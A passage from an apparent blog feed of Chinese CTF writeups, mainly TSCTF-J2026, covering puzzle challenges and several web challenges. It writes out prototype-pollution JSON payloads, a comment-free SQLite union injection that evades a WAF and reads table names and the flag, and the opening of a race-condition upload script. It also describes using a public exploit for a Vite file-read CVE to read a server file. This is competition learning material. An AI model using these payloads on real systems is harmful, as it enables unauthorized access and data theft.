，推测后端校验会校验内容，于是另找方向突破。&lt;/p&gt;&lt;p&gt;从正常显示上传路径可猜测服务器大概率是先保存文件再进行校验文件的，中间可能存在允许访问文件的窗口，联想到&lt;strong&gt;竞态条件漏洞&lt;/strong&gt;。我们可以通过多线程上传文件与访问文件，使得上传的文件在还未校验删除的窗口期被触发，从而植入不会被校验的木马文件，再访问木马文件即可。&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; requests&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; threading&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; time&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
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得到以下信息：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;name&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;配置中心&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;routes&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;GET /&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;题目描述&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;GET /api/me&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;查看当前用户的配置&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;POST /api/profile&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;提交 JSON 配置&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;GET /api/flag&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;只有审核 isAdmin=true 且 canReadFlag=true 时返回 FLAG&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;访问 &lt;code&gt;/api/me&lt;/code&gt; 得到以下信息：&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;ok&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;profile&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;profile&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;nickname&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;guest&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;theme&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;color&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;blue&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;inheritedProbe&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;isAdmin&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;canReadFlag&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;展开&lt;/span&gt;&lt;span&gt;收起&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;可知我们需要做的事情就是让 &lt;code&gt;inheritedProbe&lt;/code&gt; 下的两个属性全部都变为 &lt;code&gt;true&lt;/code&gt; 。尝试 POST &lt;code&gt;/api/profile&lt;/code&gt; 并上传 JSON 可以发现上传的东西会被解析添加到 &lt;code&gt;profile&lt;/code&gt; 下，无法直接修改我们要的 &lt;code&gt;inheritedProbe&lt;/code&gt; 。这种隔空影响属性的要求能够联想到&lt;strong&gt;原型链污染&lt;/strong&gt;。&lt;/p&gt;&lt;p&gt;前者不存在 WAF ，所以直接用最简单的方式即可：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;profile&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;__proto__&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;isAdmin&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;canReadFlag&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;后者存在 WAF ，禁止嵌套对象，否则会返回 “&lt;strong&gt;配置值仅允许布尔值、数字、短字符串或 null&lt;/strong&gt;” ，那后端有可能采用的是类似“&lt;strong&gt;点号路径赋值&lt;/strong&gt;”的函数，能够传入扁平键值对。尝试构造 &lt;code&gt;__proto__.isAdmin&lt;/code&gt; ，发现如果遇到 &lt;code&gt;__proto__&lt;/code&gt; 会返回 “&lt;strong&gt;此举不合礼制&lt;/strong&gt;”  。经过尝试后发现出题人没有屏蔽 &lt;code&gt;constructor&lt;/code&gt; ，构造以下 JSON 即可：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;profile&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;constructor.prototype.isAdmin&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;constructor.prototype.canReadFlag&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;</content:encoded></item><item><title>TSCTF-J2026 Writeup</title><link>https://ch0kk4ku.github.io/posts/tsctf-j2026-writeup/</link><guid isPermaLink="true">https://ch0kk4ku.github.io/posts/tsctf-j2026-writeup/</guid><description>这真的是招新赛吗 qwq</description><pubDate>Thu, 15 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;本 WP 只涵盖笔者在正赛期间提交正确 flag 的 9 道题与未做出的一道题的一些赛时 WP ，笔者在赛后（如果有）做出的，会放在 Writeup 2 中。&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;blockquote&gt;&lt;p&gt;部分题目步骤采用 dsh 或是网页版 ds 或是 bing、各路博客辅助思路。&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;abstract&lt;a href=&quot;#abstract&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Dried Milkdragon&lt;a href=&quot;#dried-milkdragon&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;奶龙题，题目给出一张图是某品牌芒果干，在天猫超市转了一圈只看到了同品牌的另一款较大包芒果干，但是经过观察图像发现芒果干袋子的钩子是透明的，而天猫超市（以及后面的永年超市）的正常货架的钩子是非透明的圆柱状，又转了一圈发现之前忽略的在货架边上的一整条挂下来的商品有部分满足该现象，同时观察到图片内芒果干袋子下方有同品牌该产品没有的花纹，而图片左下角有粉色的同款花纹——说明多种口味的该种芒果干在竖行同一处，所以推测这是货架侧面商品，天猫超市中货架侧面没有符合的商品。于是去永年超市，然后便找到目标，商品旁有一个意见本，翻到最后一页即为 flag 。&lt;/p&gt;&lt;p&gt;以上分析过程是无聊且懒得出去的时候想的，有助于加快一点点实地找的速度，其实只需要细心一点去遍历两个超市所有商品即可。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;emoji&lt;a href=&quot;#emoji&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;发散能力不够，遂 Deepseek 解出答案。（以下为 ds 原话）&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;🌝🌚：明 + 月 → &lt;strong&gt;明月&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;👋：送别，谐音“松”&lt;/li&gt;
&lt;li&gt;🚀：火箭有“箭”，谐音“间”&lt;/li&gt;
&lt;li&gt;👋：招手，谐音“照”&lt;/li&gt;
&lt;li&gt;😙：亲，谐音“清”&lt;/li&gt;
&lt;li&gt;🤛：拳，谐音“泉”&lt;/li&gt;
&lt;li&gt;🤛：拳头硬如石 → &lt;strong&gt;石&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;🌞：太阳在天上 → &lt;strong&gt;上&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;🌧️：下雨流水 → &lt;strong&gt;流&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;虽然我觉得这好雷霆啊这真的简单吗（？&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;web&lt;a href=&quot;#web&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;好想玩原神&lt;a href=&quot;#好想玩原神&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;首先观察界面，是个原神登录界面，尝试随便输入用户名与密码，返回零条通行证记录并且 redirect 到原神官网（x&lt;/p&gt;&lt;p&gt;尝试代码审计，查看源代码的时候发现注释中含有 checkit 的账号名单，随便挑选一个可以登录成功并且返回不知所云的通行证记录。通过 Yakit 进行全部账号尝试后发现返回的东西没有什么特殊的（如 cookie 等），遂猜测可能是 SQL 注入（？&lt;/p&gt;&lt;p&gt;首先使 &lt;code&gt;password:Windfall2407&apos;&lt;/code&gt; ，发现返回的内容变成了：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;detail&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;OperationalError&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;error&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;登录网关解析失败&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;上网查询后发现是 sqlite3 的常见错误，也就是说是字符型注入。尝试 sqlite 相关函数如 &lt;code&gt;sqlite_version()&lt;/code&gt; ，构造 payload 时却一直发现出现 &lt;code&gt;403&lt;/code&gt; 错误，查看返回体发现：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;error&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;blocked by login firewall&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;redirect&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;https://ys.mihoyo.com/&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;出现了 WAF ，通过逐个构造，发现注释如 &lt;code&gt;#&lt;/code&gt; &lt;code&gt;/**/&lt;/code&gt; &lt;code&gt;--&lt;/code&gt; 等都被 ban 了，包括 &lt;code&gt;and&lt;/code&gt; &lt;code&gt;or&lt;/code&gt; 等也都被 ban 了，但是 &lt;code&gt;union&lt;/code&gt; 居然是没有被 ban 的，这意味着出题人大概率是要我们用联合注入。现在问题变成如何在无法使用注释的情况下完成对 &lt;code&gt;password&lt;/code&gt; 的后引号闭合或者是无效化。上网查询资料后发现可以通过 &lt;code&gt;||&apos;&lt;/code&gt; 的方式完成闭合，将整个查询语句拼凑为类似于 &lt;code&gt;select 1,2,3,&apos;4&apos;||&apos;&apos;&lt;/code&gt; 的样子。&lt;/p&gt;&lt;p&gt;要联合查询就要知道查询列数，从返回的 json 可以看出有四个项，故猜测有 4 列，发现确实如此。&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Windfall2407&lt;/span&gt;&lt;span&gt;&apos; union select 1,2,3,&apos;&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;&apos;||&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;然后就是拿表名列名之类的操作了：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Windfall2407&lt;/span&gt;&lt;span&gt;&apos; union select 1,2,3,(select group_concat(name) from sqlite_master where type=&apos;&lt;/span&gt;&lt;span&gt;table&lt;/span&gt;&lt;span&gt;&apos;)||&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Windfall2407&lt;/span&gt;&lt;span&gt;&apos; union select 1,2,3,(select group_concat(name) from pragma_table_info(&apos;&lt;/span&gt;&lt;span&gt;secret_flags&lt;/span&gt;&lt;span&gt;&apos;))||&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Windfall2407&lt;/span&gt;&lt;span&gt;&apos; union select 1,2,3,(select flag_value from secret_flags)||&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;这题对只打过 Moectf2026 的笔者还是有两个很重要的启发：一个就是考察到了笔者不熟悉的 sqlite ，以至于刚开始做的时候总是不小心串到 Mysql 的一些函数、库名中以至于还以为查表名等手段被 ban 了；还有就是把注释给 ban 了，这时候就要尽量注入位置在后面的参数比如 &lt;code&gt;password&lt;/code&gt; 了，因为少了注释这种 AOE（群伤）杀招，我们就必须考虑到注入参数后面的语句了，而 &lt;code&gt;password&lt;/code&gt; 譬如对于本题来说后面只有一个 &lt;code&gt;&apos;&lt;/code&gt; ，减小了使语法有效的难度。&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;BandInvite&lt;a href=&quot;#bandinvite&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;发现能注册，随便注册一个用户进去后，发现用户权限不够，则方向应该是想办法提权（？发现 &lt;code&gt;cookie&lt;/code&gt; 处出现了一个类似 JWT 的 session ，推测要伪造 JWT。&lt;/p&gt;&lt;p&gt;然后用 hashcat + hashmob.net_2025.small.found 来爆破密钥，未成功，又尝试修改 &lt;code&gt;alg:none&lt;/code&gt; 等方法均无法实现。说明密钥可能是强随机且 header 有校验，这条路大概率行不通。&lt;/p&gt;&lt;p&gt;在审计源码时发现了一个 &lt;code&gt;&amp;lt;script type=&quot;module&quot; src=&quot;/@vite/client&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; ，上网查询后发现这大概率是开发环境下源码没有打包直接放到生产环境下，这意味着可以获取 &lt;code&gt;package.json&lt;/code&gt; ，成功在里面找到了 vite 版本号 &lt;code&gt;8.0.4&lt;/code&gt; 。搜索相关版本的 CVE 漏洞，找到了一个很有用的任意文件读写漏洞 —— &lt;strong&gt;CVE-2026-39363&lt;/strong&gt; ，从 github 上找到相关的利用脚本（&lt;a href=&quot;https://github.com/sunynov/CVE-2026-39363&quot; target=&quot;_blank&quot;&gt;GitHub - sunynov/CVE-2026-39363: 方便实用的CVE-2026-39363利用工具 · GitHub&lt;/a&gt;），利用 ds 修改了 “缺少发 TLS SNI”（不是很清楚，可能是 tsctf 的服务端配置中要求了不发 SNI 就拒绝完成 TLS 握手？） 的漏洞以后尝试用其连接在页面的 &lt;code&gt;Audit Logs&lt;/code&gt; 里提到的 &lt;code&gt;/run/starry/dispatch-note.txt&lt;/code&gt; 并且成功获取内容：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ticket: handoff-9c2e7b41&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;roster: GET /api/dispatch/roster?ticket=...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;open shift: shift-0727&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;claim hint: POST /api/dispatch/shift-0727/...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Check roster before claiming; keep the same 